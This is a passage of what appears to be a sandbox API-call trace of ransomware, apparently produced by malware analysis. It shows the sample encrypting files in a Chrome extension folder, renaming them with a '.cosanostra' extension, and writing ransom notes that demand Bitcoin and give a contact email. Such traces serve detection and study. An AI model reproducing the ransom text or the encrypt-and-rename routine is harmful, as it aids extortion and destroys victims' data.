lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json.cosanostra")) returned 1 [0084.515] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fa50 | out: pbBuffer=0x251fa50) returned 1 [0084.515] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251fa48*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251fa48*=0x30) returned 1 [0084.515] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0084.518] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js") returned 137 [0084.518] StrStrW (lpFirst="main.js", lpSrch=".txt") returned 0x0 [0084.518] ReadFile (in: hFile=0x184, lpBuffer=0x2b9878, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x251fa0c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesRead=0x251fa0c*=0x5f, lpOverlapped=0x0) returned 1 [0084.519] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffffa1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.519] WriteFile (in: hFile=0x184, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x251fa0c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x251fa0c*=0x5f, lpOverlapped=0x0) returned 1 [0084.519] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.519] WriteFile (in: hFile=0x184, lpBuffer=0x251fa4c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251fa0c, lpOverlapped=0x0 | out: lpBuffer=0x251fa4c*, lpNumberOfBytesWritten=0x251fa0c*=0x4, lpOverlapped=0x0) returned 1 [0084.519] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251fa0c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251fa0c*=0x30, lpOverlapped=0x0) returned 1 [0084.520] CloseHandle (hObject=0x184) returned 1 [0084.520] wnsprintfW (in: pszDest=0x30159a8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.cosanostra") returned 148 [0084.520] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.cosanostra")) returned 1 [0084.521] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fa48 | out: pbBuffer=0x251fa48) returned 1 [0084.521] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251fa40*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251fa40*=0x30) returned 1 [0084.521] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0084.533] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html") returned 139 [0084.533] StrStrW (lpFirst="main.html", lpSrch=".txt") returned 0x0 [0084.533] ReadFile (in: hFile=0x184, lpBuffer=0x2b9878, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x251fa04, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesRead=0x251fa04*=0x5c, lpOverlapped=0x0) returned 1 [0084.534] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffffa4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.534] WriteFile (in: hFile=0x184, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0x251fa04, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x251fa04*=0x5c, lpOverlapped=0x0) returned 1 [0084.535] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.535] WriteFile (in: hFile=0x184, lpBuffer=0x251fa44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251fa04, lpOverlapped=0x0 | out: lpBuffer=0x251fa44*, lpNumberOfBytesWritten=0x251fa04*=0x4, lpOverlapped=0x0) returned 1 [0084.535] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251fa04, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251fa04*=0x30, lpOverlapped=0x0) returned 1 [0084.535] CloseHandle (hObject=0x184) returned 1 [0084.535] wnsprintfW (in: pszDest=0x30159a8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.cosanostra") returned 150 [0084.535] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.cosanostra")) returned 1 [0084.536] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fa48 | out: pbBuffer=0x251fa48) returned 1 [0084.536] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251fa40*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251fa40*=0x30) returned 1 [0084.536] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0084.541] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png") returned 141 [0084.541] StrStrW (lpFirst="icon_16.png", lpSrch=".txt") returned 0x0 [0084.541] ReadFile (in: hFile=0x184, lpBuffer=0x2b9878, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x251fa04, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesRead=0x251fa04*=0xa0, lpOverlapped=0x0) returned 1 [0084.542] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff60, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.542] WriteFile (in: hFile=0x184, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x251fa04, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x251fa04*=0xa0, lpOverlapped=0x0) returned 1 [0084.542] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.542] WriteFile (in: hFile=0x184, lpBuffer=0x251fa44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251fa04, lpOverlapped=0x0 | out: lpBuffer=0x251fa44*, lpNumberOfBytesWritten=0x251fa04*=0x4, lpOverlapped=0x0) returned 1 [0084.543] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251fa04, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251fa04*=0x30, lpOverlapped=0x0) returned 1 [0084.543] CloseHandle (hObject=0x184) returned 1 [0084.544] wnsprintfW (in: pszDest=0x3023068, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.cosanostra") returned 152 [0084.544] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.cosanostra")) returned 1 [0084.553] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0084.555] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0084.555] WriteFile (in: hFile=0x184, lpBuffer=0x251f8df*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251faa0, lpOverlapped=0x0 | out: lpBuffer=0x251f8df*, lpNumberOfBytesWritten=0x251faa0*=0x1bf, lpOverlapped=0x0) returned 1 [0084.555] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0084.555] WriteFile (in: hFile=0x184, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251faa0, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251faa0*=0x2ac, lpOverlapped=0x0) returned 1 [0084.556] CloseHandle (hObject=0x184) returned 1 [0084.556] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fa40 | out: pbBuffer=0x251fa40) returned 1 [0084.556] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251fa38*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251fa38*=0x30) returned 1 [0084.557] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0084.557] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json") returned 155 [0084.557] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.557] ReadFile (in: hFile=0x184, lpBuffer=0x2b9878, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x251f9fc, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesRead=0x251f9fc*=0x110, lpOverlapped=0x0) returned 1 [0084.558] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffffef0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.558] WriteFile (in: hFile=0x184, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x251f9fc, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x251f9fc*=0x110, lpOverlapped=0x0) returned 1 [0084.558] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.558] WriteFile (in: hFile=0x184, lpBuffer=0x251fa3c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f9fc, lpOverlapped=0x0 | out: lpBuffer=0x251fa3c*, lpNumberOfBytesWritten=0x251f9fc*=0x4, lpOverlapped=0x0) returned 1 [0084.558] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f9fc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f9fc*=0x30, lpOverlapped=0x0) returned 1 [0084.558] CloseHandle (hObject=0x184) returned 1 [0084.559] wnsprintfW (in: pszDest=0x3023068, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json.cosanostra") returned 166 [0084.559] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json.cosanostra")) returned 1 [0084.559] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0084.560] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0084.560] WriteFile (in: hFile=0x184, lpBuffer=0x251f8d7*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fa98, lpOverlapped=0x0 | out: lpBuffer=0x251f8d7*, lpNumberOfBytesWritten=0x251fa98*=0x1bf, lpOverlapped=0x0) returned 1 [0084.560] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0084.560] WriteFile (in: hFile=0x184, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fa98, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fa98*=0x2ac, lpOverlapped=0x0) returned 1 [0084.560] CloseHandle (hObject=0x184) returned 1 [0084.561] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fa38 | out: pbBuffer=0x251fa38) returned 1 [0084.561] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251fa30*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251fa30*=0x30) returned 1 [0084.561] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0084.561] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json") returned 155 [0084.561] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.561] ReadFile (in: hFile=0x184, lpBuffer=0x2b9878, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x251f9f4, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesRead=0x251f9f4*=0x101, lpOverlapped=0x0) returned 1 [0084.562] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffffeff, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.562] WriteFile (in: hFile=0x184, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x251f9f4, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x251f9f4*=0x101, lpOverlapped=0x0) returned 1 [0084.562] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.562] WriteFile (in: hFile=0x184, lpBuffer=0x251fa34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f9f4, lpOverlapped=0x0 | out: lpBuffer=0x251fa34*, lpNumberOfBytesWritten=0x251f9f4*=0x4, lpOverlapped=0x0) returned 1 [0084.562] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f9f4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f9f4*=0x30, lpOverlapped=0x0) returned 1 [0084.562] CloseHandle (hObject=0x184) returned 1 [0084.562] wnsprintfW (in: pszDest=0x3023068, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json.cosanostra") returned 166 [0084.562] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json.cosanostra")) returned 1 [0084.563] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fa30 | out: pbBuffer=0x251fa30) returned 1 [0084.563] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251fa28*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251fa28*=0x30) returned 1 [0084.563] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0084.563] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png") returned 142 [0084.563] StrStrW (lpFirst="icon_128.png", lpSrch=".txt") returned 0x0 [0084.563] ReadFile (in: hFile=0x184, lpBuffer=0x2b9878, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x251f9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesRead=0x251f9ec*=0xd2c, lpOverlapped=0x0) returned 1 [0084.565] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffff2d4, lpNewFilePointer=0xffffffff, 